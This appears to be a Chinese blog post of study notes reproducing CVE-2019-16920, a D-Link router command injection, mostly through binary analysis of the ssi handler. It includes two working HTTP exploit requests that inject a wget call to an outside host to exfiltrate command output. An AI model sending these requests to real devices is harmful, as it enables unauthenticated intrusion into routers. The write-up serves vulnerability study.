天天看點

CVE-2019-16920學習

複現D-link漏洞研究,原文連結

登入操作通過/apply_sec.cgi的URI執行,快速浏覽代碼可以發現 apply_sec.cgi 的代碼位于 /www/cgi/ssi 二進制檔案中的函數 do_ssc(0x40a210)。

current_user和current_username的值取自nvram:

CVE-2019-16920學習
CVE-2019-16920學習

然後,該函數會将current_user的值和變量acStack160的值進行比較。

CVE-2019-16920學習

該current_user在NVRAM中值隻有在登入成功後才會被設定,是以預設它的值是沒有進行初始化設定的。acStack160的值是**base64encode(user_username)**的編碼結果。并且預設情況下user_username設定的值為“user”,是以iVar2(strcmp比較結果)不可能傳回值0,是以不會傳回error.asp頁面。

在do-while循環中,這個程式調用了函數put_querystring_env()來解析HTTP POST請求并且儲存了值到ENV當中。接下來函數調用了query_vars(“action”, acStack288, 0x80)。(這裡是怎麼認為是action的呢?通過前後的條件判斷和錯誤資訊記錄傳回,可以知道與action有關,但是要是要我自己判斷是action,我估計做不到)

分析ssi 應用程式,url為 /apply_sec.cgi 而表單元素action值不同情況下請求響應的原理以及利用

注意 :

文章中所說的action不是表單form屬性中的資源action,如:

<form id="form2" name="form2" method="post" action="apply_sec.cgi">
           

而是表單中的輸入單元的屬性名,如:

<input type="hidden" name="action" value="ping_test">
           
CVE-2019-16920學習
CVE-2019-16920學習

這也就提供了action的值,也就是值儲存到了ENV當中acStack288變量。如果成功,那麼函數傳回值0。

當iVar等于0,我們就會進入if條件,它将URI的值與"/apply_sec.cgi"進行比較。如果比較成功,那麼ppcVar3就會指向SSC_SEC_OBJS數組。否則它會指向SSC_OBJS數組。

CVE-2019-16920學習

現在,ppcVar3指向了SSC_SEC_OBJS數組,該數組包含了一系列的action值。如果我們輸入一個不包含在内的值,那麼程式就會傳回LAB_0040a4b8,也就會輸出錯誤:“No OBJS for action: <action input=”">"

CVE-2019-16920學習

可以在之前傳回error.asp的那段代碼中中看到發生錯誤的身份驗證檢查的位置。即使我們未經身份驗證,代碼流仍會執行,這意味着我們可以在SSC_SEC_OBJS數組“ /apply_sec.cgi”路徑下執行任何操作。

SSC_SEC_OBJS操作數組在哪裡?它在函數init_plugin()的寄存器中:

CVE-2019-16920學習

當我們轉到位址**0x0051f294并将其變量轉換為單字(word)類型時,我們可以看到以下數組:

CVE-2019-16920學習

在IDA中變為DoubleWord格式(不會這裡的快捷鍵,手動實作的),IDA幫助我們識别出來了功能。

CVE-2019-16920學習

注意這裡的ping_test功能,進入函數sub_41a010:

CVE-2019-16920學習
CVE-2019-16920學習

這個函數從參數ping_ipaddr中擷取其值。它通過inet_aton(),inet_ntoa()函數将值進行轉換,然後執行ping操作。

如果我們嘗試輸入任何特殊字元,例如雙引号,雙引号,分号等,則ping操作将失敗。但是如果我們傳遞換行符,例如:8.8.8.8%0als,我們可以執行指令注入攻擊。

測試exp:

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)
           

我們通過使用POST方法請求“apply_sec.cgi”來操控ping_test 。然後,我們在ping_ipaddr中執行指令注入。即使傳回登入頁面,仍然會執行ping_test操作,ping_ipaddr的值将在路由器伺服器中執行“echo 1234”指令,然後将結果發送回我們的伺服器。

此時,攻擊者可以檢索管理者密碼,或将自己的後門安裝到伺服器上。

另一篇文章的二進制部分分析如下:

通過對 ssi 應用程式 啟動流程的分析,ssi應用程式會對 url為 /apply_sec.cgi 請求進行單獨處理。

CVE-2019-16920學習

對于url為 /apply_sec.cgi 請求,根據功能的不同,為其注冊功能相對應的響應函數,并在結構體struct_api_map中記錄,并形成action_register_buffer 注冊函數結構體。

根據分析結果,定義 struct_api_map 結構體為:

CVE-2019-16920學習

action_register_buffer全局數組如下:(這個是怎麼用Ghidra搞出來的呢)

CVE-2019-16920學習

在ssi 應用程式的 main函數中調用 init_plugin函數,設定action_register_buffer 的引用

CVE-2019-16920學習
CVE-2019-16920學習

當 /apply_sec.cgi 送出請求時,程式會根據表單中的參數 action 的值,從注冊函數結構體數組中查找對應的響應函數,并調用處理。

此過程在 do_ssc 函數 中處理:

CVE-2019-16920學習

在 do_ssc 函數中對 url 為 /apply_sec.cgi的請求進行處理,具體流程如下:

  1. current_user的值 與 user_username經過 base64_encode 處理之後的值進行比較。

檢視nvram的預設配置檔案 nvram.default 如下:

CVE-2019-16920學習
str_current_user = (char *)nvram_get("current_user");
str_user_username = (byte *)nvram_get("user_username");
           
CVE-2019-16920學習
  1. 擷取表單 action的值,驗證是否為 /apply_sec.cgi 使用者登入操作
CVE-2019-16920學習
  1. 根據action的值,從數組中檢視是否有對應的注冊函數,如果有并調用處理
CVE-2019-16920學習

到目前為止可以知道,/apply_sec.cgi 對應的表單中, action的值決定了ssi調用不同功能的處理函數,是以 可以通過僞造action的值發送不同的請求 ,來達到我們想要的目的。

對action=”ping_test” 響應函數 FUN_0041a060_ping_test 進行分析(含有指令注入漏洞)

i. 在action_register_buffer結構體數組中,有這麼一項結構體:

CVE-2019-16920學習

ii. FUN_0041a060_ping_test 指令執行流程如下:

CVE-2019-16920學習

程式對于 action=”ping_test”的處理流程為:

  • 擷取表單元素 ping_ipaddr的值:str_ping_ipaddr
  • 從str_ping_ipaddr字元串中,擷取ip位址:acStack_ipaddr
  • 将ip位址與指令語句進行拼接:sprintf(cmd_ping_buff,“ping -c 1 %s 2>&1”,acStack_ipaddr)
  • 執行指令語句:__stream_00 = popen(cmd_ping_buff,“r”);

通過對流程的分析可以知道,程式并 沒有對表單元素ping_ipaddr的值進行安全性檢查,是以存在指令執行漏洞 。

iii. 查找是否含有符合要求的表單檔案:url為 /apply_sec.cgi 并且action=”ping_test”

在系統檔案根目錄下執行查找語句:

grep "ping_ipaddr" ./ -r -n
           
CVE-2019-16920學習

檢視 ./www.wizard_detect_wan.asp可知是我們想要的表單

CVE-2019-16920學習
<form id="form2" name="form2" method="post" action="apply_sec.cgi">
    <input type="hidden" id="html_response_page" name="html_response_page" value="wizard_detect_wan.asp ">
    <input type="hidden" id="html_response_message" name="html_response_message" value="<!--# echo html_response_message -->">
    <input type="hidden" id="html_response_return_page" name="html_response_return_page" value="wizard_detect_wan.asp">
    <input type="hidden" name="action" value="ping_test">
    <input type="hidden" name="reboot_type" value="none">
    <input type="hidden" id="wizard_detect" name="wizard_detect" value="1">
    <input type="hidden" id="ping_ipaddr" name="ping_ipaddr" size=30 maxlength=150 value="mydlink.com,dlink.com,dlink.com.cn,dlink.com.tw,google.com" >
    <input type="hidden" id="ping_result" name="ping_result" value="<!--# echo ping_result --><!--# echo ping6_result --><!-- repeat name=msg -->">
</form>
           

執行遠端注入exp:

通過遠端ping 自己開啟的8889端口,并執行指令: echo EversecLab,輸出EversecLab,ping_test請求利用:

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.0.1:8080
Content-Length: 136
Cache-Control: max-age=0
Origin: http:// 192.168.0.1:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://1192.168.0.1:8080/login_pic.asp
Accept-Language: zh-CN,zh;q=0.9Connection: close
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://*.*.*.*:8889/$(echo EversecLab)
           

輸出效果:

CVE-2019-16920學習

上文提到的通過預設使用者名和密碼登入裝置

登入前

CVE-2019-16920學習

點選login, 登入後效果:

CVE-2019-16920學習

繼續閱讀